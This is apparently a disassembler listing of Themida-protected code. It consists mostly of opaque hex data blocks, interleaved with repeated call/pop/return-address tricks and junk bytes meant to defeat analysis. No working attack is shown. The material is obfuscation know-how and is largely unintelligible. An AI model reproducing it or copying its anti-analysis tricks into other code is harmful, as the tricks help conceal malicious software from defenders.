dd 18h, 77C35141h, 1D00A178h, 0AEDBD8Bh, 95FF0614h, 61420F5h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0B0C35040h
dd 0CE8C565Dh, 459D2BFFh, 8306140Ch, 140C21BDh, 840F0006h
dd 15h, 2BBDBD89h, 0BB960614h, 213933F1h, 96FB8B50h, 4CE38166h
dd 98B5FF7Bh, 0B0617AAh, 1410AD9Dh, 0B195FF06h, 6A061402h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h
dd 42000000h, 76A7C352h, 2AA04AA2h, 6658EFB2h, 0B5FFD98Bh
dd 617AA98h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 18h, 63C35545h, 17C4A772h, 14A4A4BFh, 8195FF26h, 0E8061430h
dd 13h, 82AC9664h, 0FF854224h, 80D8033Fh, 0A2FB393Dh, 2BB3C05Dh
dd 1421B19Dh, 0BD835B06h, 61409F5h, 0B840F02h, 0FC000000h
dd 2D01858Bh, 0C6F50614h, 85C70000h, 614244Dh, 0
dd 18A9B589h, 3AE90614h, 6AFFFFF3h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 6004C355h
dd 0B5CF593Dh, 16258589h, 0C18B0614h, 0B9BD8Bh, 858D0614h
dd 6140F99h, 1FC9BD8Bh, 0E8500614h, 6, 9A11AA50h, 8B66B05Eh
dd 4895FDAh, 8E924h, 0B1440000h, 4C2658D2h, 6AD497h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0A9C35747h, 0D30AEFD4h
dd 0B7995D45h, 8B006A7Fh, 1425859Dh, 0C5858D06h, 0BB06188Dh
dd 5BC3C022h, 8B05C083h, 1425F5BDh, 66609006h, 5769BBBAh
dd 8A0Fh, 615B0000h, 0BD339050h, 6141091h, 9529006Ah, 614200Dh
dd 8589006Ah, 6142281h, 1A7195FFh, 0BD8B0614h, 6142185h
dd 0A8FC8D8Dh, 6A0617h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 81069BC3h, 94316192h, 0D1FFA5DCh
dd 8E9h, 0CA926000h, 8152DE4Eh, 0CDBD8326h, 1061412h, 7E850Fh
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
dd 56460000h, 7B6CF6C3h, 0D7F38061h, 0F50026Ah, 905BFBBFh
dd 13E9h, 0F3DCDA00h, 6E136B20h, 45AD0091h, 0B0370BB7h
dd 0F4CDF5F7h, 0AE950h, 0E63C0000h, 1BF32575h, 4B2013E5h
dd 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h
dd 0C3504000h, 0FDBF8C93h, 0FF27AAFDh, 14093995h, 0D4E38006h
dd 0D69E9h
db 0
; ---------------------------------------------------------------------------
loc_5919A9: ; DATA XREF: Themida_:0054AE60o
call $+5
pop ebp
sub ebp, 6188DCFh
push 0
push esi
call sub_5919C0
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5919C0 proc near ; CODE XREF: Themida_:005919B8p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_5919C0 endp
; ---------------------------------------------------------------------------
sub ecx, cs:[eax]
mov [esi-41h], ah
inc ebx
lea ebp, [edx+0]
push edi
call sub_5919E3
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5919E3 proc near ; CODE XREF: Themida_:005919DBp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_5919E3 endp
; ---------------------------------------------------------------------------
db 43h
dd 0E9630B73h, 6, 41678D49h, 858DADF8h, 6179623h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0F9C35747h, 219D8BABh
dd 9006141Ah, 0FE9h, 0C6359000h, 0BE92941h, 0C1661E31h
dd 0C091AE9Ah, 0FA8B6650h, 55006A90h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0BD8BFBBBh
dd 6140C55h, 35FF64h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 18042444h, 40000000h, 403FC350h, 64C67673h
dd 2589h, 0EB800000h, 0BD0B57EAh, 6142395h, 6D85FF5Bh
dd 33061423h, 1403499Dh, 6AFF6A06h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 2062C351h
dd 0D8DF1CC0h, 619D8B5Ch, 0FF061408h, 1402E1B5h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 0E02A5EB4h, 0EA84BB66h, 2B1995FFh, 0DFE90614h, 0B0000000h
dd 0CD9D2900h, 0E6061418h, 0F9B70F70h, 0BE871E4h, 0DB000000h
dd 6E25D64h, 0CD0E30BAh, 0C381B7FFh, 6BC942EAh, 0F613C5Fh
dd 0B183h, 18BB6600h, 0C8B60F02h, 6BAh, 80C18B00h, 0E8C168C3h
dd 58C0F04h, 0BF000000h, 23B8BE28h, 8BE2F766h, 142041BDh
dd 31C82B06h, 1424E58Dh, 66D18B06h, 11E9FA8Bh, 31000000h
dd 142429BDh, 958B6006h, 614109Dh, 61C38B66h, 6C1858Bh
dd 8B660614h, 7C083DFh, 8900C083h, 1400B595h, 0FD03B06h
dd 783h, 0E9FD8A00h, 42h, 0E2D8D8Bh, 0CB810614h, 61131BBAh
dd 0F01E183h, 2D84h, 0E58D8900h, 8B061423h, 1408C5BDh
dd 2DA58306h, 0FE06140Eh, 0F4CB8166h, 0C1958932h, 0F061406h
dd 486h, 0B4BB6600h, 0E96Eh, 0B58D0000h, 617F9FFh, 0C006BF66h
dd 0D7BF006Ah, 0FF09E893h, 14116995h, 0B9FE8A06h, 88Ah
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0DEC35646h
dd 2746B000h, 8E941ABh, 0ED000000h, 0D804353Eh, 0F0DBF4Bh
dd 0E183D8B7h, 0EDBD89FCh, 0FC061434h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 87C35646h, 0B9AF283Ch, 0D4CB8056h
dd 0BE9h, 96CACA00h, 5825B8FAh, 0C14493D3h, 6AC02Bh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 4975B2C3h, 830FFC09h, 13h, 0BE8h, 0BC2AA200h, 436640ACh
dd 6E66B54Eh, 2B5F5B52h, 0C233ADD2h, 0D003E8D1h, 7504E983h
dd 57006AF4h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h
dd 0C3574700h, 0BA36A7C4h, 5D606440h, 0DF96306h, 88h, 12E8h
dd 0B7CB1100h, 160879C1h, 90CAF4DAh, 0A47804D5h, 5176E8F3h
dd 0D2D78166h, 8B5F5F34h, 14322995h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 88AA21A4h
dd 0EF816620h, 8D8B9FE4h, 614064Dh, 0FE9h, 1188B100h, 11BC0568h
dd 0B3E12214h, 808BA33Eh, 8BC28B50h, 8BC10318h, 0D1C18B18h
dd 8BC203E8h, 0B70F5818h, 0F9BF0FFFh, 29ADBD83h, 0F000614h
dd 9584h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1D04h, 0C3554500h, 85E7DA3Bh, 95CA4382h, 13E8CA0Dh
dd 0DE000000h, 9A3DD322h, 48F0B132h, 135AAC4Eh, 9B96CD2Fh
dd 0B85F11ACh, 0
; ---------------------------------------------------------------------------
mov ebx, 334D4BCDh
lea ecx, [ebp+6144D79h]
jnz loc_591DDD
jmp loc_591DDD
; ---------------------------------------------------------------------------
dw 7A83h
dd 804D6034h, 76F86458h, 744B92Dh
db 74h
; ---------------------------------------------------------------------------
loc_591DDD: ; CODE XREF: Themida_:00591DC3j
; Themida_:00591DC9j
jmp ecx
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_591DEA
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_591DEA proc near ; CODE XREF: Themida_:00591DE2p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_591DEA endp
; ---------------------------------------------------------------------------
dw 0C162h
dd 0CA276FFEh, 1C5C541h, 207D9D8Bh, 0BD830614h, 6142671h
dd 3F840F00h, 6A000004h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 7605C351h, 71BD8370h
dd 1061426h, 42F840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 170424h, 50400000h, 24DD07C3h, 6FBF6657h
dd 71BD8381h, 3061426h, 3C9860Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0D49C86C3h
dd 5CE4CAB0h, 0E960A4ABh, 10h, 6CF4E4E2h, 0E0B90171h, 0DD07536Bh
dd 5C375724h, 8BD98C66h, 140BD1BDh, 4E18006h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0CAC35040h, 0C90AE3AAh
dd 198840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 190424h, 53430000h, 8F8623C3h, 2957D983h, 140D199Dh
dd 69858B06h, 6A061419h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 66CDC352h, 6EAFE381h
dd 1B818533h, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 4E294CC3h, 0A51E0E83h, 0FBF6650h
dd 240489F5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 17h, 69C35343h, 0BFAE33FFh, 798590B0h, 9589006Ah, 614198Dh
dd 4E8h, 1F03FF00h, 6E96000h, 29000000h, 2D186079h, 0DE8DBh
dd 7980000h, 0B5CB7F48h, 0D7E21451h, 0E84F2183h, 0Bh, 147985ECh
dd 0AF25198Ah, 5BC2B03Ch, 0F50615Bh, 68Ah, 0BB665600h
dd 8B5B2D0Bh, 0E9042444h, 11h, 982313AEh, 66BF1E88h, 0BED0E10h
dd 8F5ED315h, 50008B4Bh, 0A8B4BB52h, 310F0DFFh, 6880Fh
dd 860F0000h, 0
; ---------------------------------------------------------------------------
pop edx
pop eax
mov [esp+4], eax
jmp loc_59201B
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
dec esi
mov word ptr [esi], fs
mov ah, cl
retn
; ---------------------------------------------------------------------------
dw 9E1Dh
dd 76AACFC8h
db 0EFh, 0DCh, 0F6h
; ---------------------------------------------------------------------------
loc_59201B: ; CODE XREF: Themida_:00592006j
pop eax
push 0
push ebp
call sub_592027
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_592027 proc near ; CODE XREF: Themida_:0059201Fp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_592027 endp
; ---------------------------------------------------------------------------
sub [ebx+142AB9BDh], ecx
push es
call dword ptr [ebp+61409ADh]
mov [ebp+61431A5h], edx
mov [ebp+617AA98h], eax
push 0
push eax
call sub_59205B
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59205B proc near ; CODE XREF: Themida_:00592053p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_59205B endp
; ---------------------------------------------------------------------------
db 1Ch
; ---------------------------------------------------------------------------
jmp loc_59219A
; ---------------------------------------------------------------------------
mov edi, edx
mov bx, dx
mov eax, [ebp+617AA90h]
mov [ebp+6142661h], edx
mov dword ptr [eax], 18h
push 0
push esi
call sub_592093
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_592093 proc near ; CODE XREF: Themida_:0059208Bp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_592093 endp
; ---------------------------------------------------------------------------
not byte ptr [ebx+ecx*4-4Bh]
xchg eax, esp
stosb
pop ss
push es
push 0
push ebp
call sub_5920B6
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5920B6 proc near ; CODE XREF: Themida_:005920AEp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5920B6 endp
; ---------------------------------------------------------------------------
dw 3F13h
dd 89E5EAF7h, 1420D9BDh, 29858B06h, 6006140Bh, 0ED5B589h
dd 8D010614h, 61402DDh, 0B3068961h, 69858BBBh, 0F061419h
dd 10E8FFB7h, 3A000000h, 20D1A785h, 0AE6B6D99h, 0C5AE8610h
dd 8B1538FCh, 46895FF9h, 0D5B50104h, 50061420h, 89F98B66h
dd 10E82434h, 6A000000h, 581D2D12h, 3C5D26DBh, 6C53225Eh
dd 8BDF6AC6h, 14081DBDh, 0CB805F06h, 90B5FF01h, 0BF0617AAh
dd 29051AAAh, 23159D8Bh, 4E680614h, 500C3FA8h, 29BF6652h
dd 0B3310FDBh, 81585A9Ch, 0ABB12434h, 8D310C20h, 61412D1h
dd 0AA98858Dh, 0B5890617h, 61403C5h, 0F525050h, 681h, 0F525000h
dd 0F585A31h, 3BBF6631h, 89585A67h, 85892404h, 6142615h
dd 9AD95FFh
; ---------------------------------------------------------------------------
adc al, 6
loc_59219A: ; CODE XREF: Themida_:0059206Cj
popa
pusha
mov [ebp+61415FDh], edx
popa
mov dword ptr [ebp+6142671h], 3
push 0
push ebp
loc_5921B0: ; DATA XREF: Themida_:0054B760o
call sub_5921B8
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5921B8 proc near ; CODE XREF: Themida_:loc_5921B0p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5921B8 endp
; ---------------------------------------------------------------------------
dd 7D19F2ACh, 0F0BF5831h, 98BD8396h, 617AAh, 5D840Fh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 575803C3h, 40B9DF81h, 0E95B422Eh, 4Eh, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 16h, 0A8C35141h, 8F0F39AFh
dd 0Fh, 9E8h, 53575000h, 35AB9B73h, 505FA5EFh, 110C30h
dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h
dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h
dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 39AC03C3h, 68E0FF4h, 81000000h, 69ADBFEFh, 56006A01h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 77C54B2Eh, 0CDFB92A3h, 13E853h, 187E0000h, 696939EBh
dd 9B2838B9h, 7EA68CCEh, 38BCB610h, 0FE855h, 67FC0000h
dd 0B614C5D6h, 0CC96C448h, 0FCB21931h, 5B5F5BFFh, 0BD83DE8Bh
dd 6142671h, 0A8850F03h, 6A000003h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 51EAC357h
dd 0AA98BD83h, 0F000617h, 37E84h, 0D9850100h, 0FF061423h
dd 17AA98B5h, 5CBB6606h, 0F595FFCAh, 0E906142Ah, 12h, 62356433h
dd 0DF11E99Fh, 796EEBA7h, 0E84B532Fh, 0B58B2D9Eh, 617AA8Ch
dd 9E8h, 95B34600h, 6B19E8FCh, 0EE937DAh, 77000000h, 0DA37E577h
dd 516A38DBh, 0FB4F9DE3h, 6C75FE8h, 10001h, 0C118D89h
dd 0F500614h, 382h, 0DF8B6600h, 0E9243489h, 0Dh, 0A4C69E73h
dd 44D31BF1h, 0EBA92081h, 98B5FF58h, 6A0617AAh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 665DC356h, 95FFF88Bh, 6140B31h, 305DBD8Bh, 0B58B0614h
dd 617AA8Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Dh, 0D0C35040h, 0F152AE9Dh, 4E1E89F9h, 0D5858BAAh
dd 81061421h, 0D236BCDFh, 89FC8A77h, 0C486h, 0DFBF0F00h
dd 3229958Bh, 0B5090614h, 61423E1h, 0BB04C283h, 2F5E797Fh
dd 0E9205089h, 12h, 63486B77h, 0AA1FA414h, 6DBAD566h, 0DD6BF4Eh
dd 858DB20Dh, 617BE06h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 0E8C35141h, 10E96CACh, 85BD890Bh, 89061416h
dd 0B886h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1904h, 0C3554500h, 0BB3A4924h, 0CB81A4CCh, 0ADD3BD0h
dd 0BF66006Ah, 0B5FF11DDh, 617AA98h, 93995FFh, 89500614h
dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 9D23D6C3h, 6140C95h, 0AA98B5FFh, 6A0617h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 8B510BC3h, 141CA99Dh, 0F595FF06h, 0F061420h, 0F83h
dd 9E800h, 0EBD80000h, 0D3AF8279h, 5FCC5898h, 0C21BD83h
dd 0F000614h, 3484h, 96D98B00h, 56525050h, 0F5FDF8Bh, 5B575031h
dd 96585A5Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 10C35141h, 9158C319h, 98B5FF4Ah, 6A0617AAh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 91E5C350h, 7178274Dh, 95FFEBD5h, 61402B1h, 0FF67DF80h
dd 17AA98B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1A04h, 0C3574700h, 515F89C8h, 89EE061Eh, 141A21BDh
dd 8195FF06h, 0F061430h, 0BD83F9B7h, 61409F5h, 87840F02h
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 17042444h, 42000000h, 0D0BEC352h, 89578580h, 141FBD85h
dd 858B5F06h, 6142D01h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 0D7C35141h, 0C8AE73F8h, 4DBD8BFFh, 6006140Dh
dd 15319529h, 8C0F0614h, 2, 0C661D98Bh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 6D98EEC3h, 85C7CD34h, 614244Dh, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_59268F
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59268F proc near ; CODE XREF: Themida_:00592687p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_59268F endp
; ---------------------------------------------------------------------------
db 4Bh
dd 0AE8h, 3EE50C00h, 0EE0B307Dh, 0E9672A0Fh, 8, 1184EAB4h
dd 0D6E5742Ch, 6D85895Fh, 0E9061402h, 0FFFFF3E5h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0AC35242h, 85B52923h
dd 8B061434h, 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1D04h, 0C3564600h, 0EDF0BCAEh, 92B5920Dh, 858D910Dh
dd 6140F99h, 3840Fh, 0BF0F0000h, 0E96090FEh, 0Ah, 0F821921h
dd 125F741Eh, 99BBE3F0h, 614A2345h, 49BB5350h, 5B23CBC9h
dd 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h
dd 0C3504000h, 6AF5F9D5h, 0D8B70F00h, 6A006Ah, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 661818C3h, 0D1F9F381h, 9D37858Dh, 6A0618h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0CA7045C3h
dd 9D8BC5A4h, 6141C01h, 6A05C083h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0F36DC357h
dd 0BD8B4543h, 6141AA9h, 0FE95750h, 0EF000000h, 5961AA80h
dd 0ACC1C05Bh, 0C18F3497h, 895F4661h, 80B32404h, 6A006Ah
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 0DA116AC3h, 0AC40B2F5h, 8A0F3104h, 6, 9298589h, 0C3810614h
dd 262967B3h, 8D89006Ah, 6141725h, 1A7195FFh, 6A0614h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 70B971C3h, 8D89259Eh, 6141A89h, 0A8FC8D8Dh, 81600617h
dd 109140EAh, 0FF61F94Bh, 50006AD1h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 0E9CDFA8Dh
dd 11h, 5952867Ch, 6A5D5C76h, 8EF4FE44h, 0FABCD83Fh, 0CDBD8346h
dd 1061412h, 60850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 160424h, 55450000h, 847D6AC3h, 26619D89h
dd 26A0614h, 0BCC78166h, 13E950B1h, 0A1000000h, 0C0368D5Eh
dd 5879F1D2h, 1FD58DF7h, 6C76A9D5h, 48917FBh, 95FFF924h
dd 6140939h, 1404BF66h, 0E9858960h, 8B061414h, 1400C185h
dd 56E96106h, 0E800000Eh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 6189D41h
push 0
push eax
call sub_592932
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_592932 proc near ; CODE XREF: Themida_:0059292Ap
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_592932 endp
; ---------------------------------------------------------------------------
add eax, edi
ror byte ptr [ecx], 8Dh
cdq
sbb eax, 6A0614h
push edx
call sub_592956
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_592956 proc near ; CODE XREF: Themida_:0059294Ep
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_592956 endp
; ---------------------------------------------------------------------------
dw 0C52Bh
dd 75EC4617h, 9623858Dh, 6A0617h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 857FC2C3h, 0BF0F252Ah
dd 0D88B50F9h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 2C4C356h, 66C8547Eh
dd 0D3ECE781h, 35FF64h, 8B000000h, 1416DDBDh, 25896406h
dd 0
; ---------------------------------------------------------------------------
mov bx, 2C9Ah
inc dword ptr [ebp+614236Dh]
push 0
push ebx
call sub_5929E9
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5929E9 proc near ; CODE XREF: Themida_:005929E1p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5929E9 endp
; ---------------------------------------------------------------------------
db 8Bh, 6Ch, 0BEh
dd 37DCBEF5h, 10E94Bh, 0FBC0000h, 150E8828h, 4D246358h
dd 558560FCh, 0FF6AED16h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 14h, 0A1C35040h, 29D38166h, 1A8F0F98h, 0E8000000h
dd 0Eh, 7775915h, 3C8EB3B1h, 94EB05E1h, 8D89131Eh, 61415C1h
dd 4DB5FF5Fh, 6A06140Ch, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 528BC351h, 82DE7EACh
dd 38B0Fh, 0BF0F0000h, 1995FFDBh, 0E906142Bh, 110h, 0B0F8B70Fh
dd 81853100h, 0E6061404h, 999D2370h, 6606141Ch, 921FEB81h
dd 0B58971E4h, 61431CDh, 830F613Ch, 0E8h, 10EDBD8Bh, 0B60F0614h
dd 0B800FC8h, 0E9000000h, 6, 0CA04EF2Eh, 6BA3F80h, 8B000000h
dd 0FBF66C1h, 6D9D8B07h, 0C106141Dh, 0BD8B04E8h, 6141D05h
dd 89E2F766h, 14170195h, 89C82B06h, 1408CDB5h, 0DD8D8906h
dd 8B06142Ah, 10E8D1h, 0F4280000h, 0B2CBF600h, 0FF7040C6h
dd 0ED7D1D30h, 0BB6649F8h, 0E95BC70Fh, 6, 34699D8Bh, 858B0614h
dd 6141AB9h, 655BD8Bh, 0C0830614h, 0E9F6B307h, 10h, 1F686A8h
dd 28EDEDD0h, 46A49D76h, 0E168DD23h, 0F00C083h, 189h, 0D03BFC00h
dd 16830Fh, 95890000h, 61421B9h, 33E9h, 5296BF00h, 0BD894E45h
dd 61403B1h, 2A058D8Bh, 0E1830614h, 19840F01h, 0FC000000h
dd 2A05A583h, 1FE0614h, 14033D95h, 0B9958906h, 0E906141Ah
dd 0
; ---------------------------------------------------------------------------
lea esi, [ebp+6180450h]
jl loc_592BB6
sub ebx, 3C31724Fh
loc_592BB6: ; CODE XREF: Themida_:00592BAAj
push 0
add [ebp+6141C39h], edi
mov [ebp+6141BB9h], ebx
call dword ptr [ebp+6141169h]
push 0
push esi
call sub_592BD5
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_592BD5 proc near ; CODE XREF: Themida_:00592BCDp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 18h
inc esi
push esi
retn
sub_592BD5 endp
; ---------------------------------------------------------------------------
db 9Eh, 5Bh, 4Fh
dd 0B70FD769h, 7EAB9FBh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 150424h, 51410000h, 83CA23C3h, 8C0FFCE1h
dd 3, 0FCD98B66h, 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1D04h, 0C3554500h, 0E36325A5h, 0B3D3F837h
dd 0D22BFAF0h, 2E15BD8Bh, 33AD0614h, 3E8D1C2h, 4E983D0h
dd 880FF475h, 1, 50006AF5h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 0F5E9104h, 58Dh, 7DAFBB00h
dd 81662825h, 0D49B3EBh, 88h, 1FF19509h, 958B0614h, 6143229h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 12C35242h
dd 53639528h, 0BB34373Fh, 697611F3h, 64D8D8Bh, 0BF0F0614h
dd 0C28B50FEh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0F58188Bh
dd 788h, 1870F00h, 0F5000000h, 1A219D23h, 6A0614h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 724C33C3h, 69122ECAh, 3C381BCh, 8343CB59h, 1429ADBDh
dd 840F0006h, 3Bh, 2229BD89h, 9D8B0614h, 6142D61h, 0B8h
dd 11E900h, 0D3750000h, 0B526433Eh, 774C86CEh, 0D8CC0F20h
dd 8DC0D843h, 144D798Dh, 0CD8D8906h, 0FF061423h, 0B1BD09E1h
dd 83061416h, 142671BDh, 840F0006h, 41Eh, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 17h, 0BEC35646h, 0B765B8BAh
dd 71BD83CCh, 1061426h, 40B840Fh, 0FE80000h, 3B000000h
dd 1C0BEE8Fh, 8FDE3538h, 21BBA5CBh, 8D895397h, 61414B1h
dd 71BD835Fh, 3061426h, 3AD860Fh, 800F0000h, 5, 3CCB8166h
dd 6A60AFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
dd 55450000h, 0CF808DC3h, 0C99D8919h, 66061415h, 6AD98Ch
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 107FE7C3h, 80FE8B66h, 0C90A04E1h, 0C2840Fh, 0FE8B0000h
dd 1969858Bh, 0FA8B0614h, 1B818533h, 0F7800614h, 0DA8B50C9h
dd 6A240489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 2132C357h, 780E3568h, 89006A3Eh
dd 141B2DBDh, 4E806h, 3FF0000h, 81B7001Fh, 0E8BF6650h
dd 24448B56h, 0CE904h, 0F3B10000h, 0E2099767h, 28A5663Ah
dd 8B227Eh, 66525053h, 0F9E00BFh, 747CBF31h, 585A6E0Dh
dd 2444895Bh, 0F525004h, 0F311BB31h, 585A7C77h, 0AD95FF58h
dd 31061409h, 14224DB5h, 98858906h, 0E90617AAh, 21Ah, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 27C35343h, 6A436231h
dd 0AA90858Bh, 6A0617h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 68B72CC3h, 9FBB7D7Bh, 0C76EC035h
dd 1800h, 13E95100h, 0E0000000h, 0C074CB6h, 0A008D39Fh
dd 6C3AD078h, 97D7163Fh, 8B5F2EB9h, 17AA94B5h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 0B983AF72h, 0FE8BD6C2h, 0B29858Bh, 11E90614h, 0F0000000h
dd 0F42E14FDh, 0D4FE24FEh, 0ACD3C39Ah, 32FDEE29h, 6A0689h
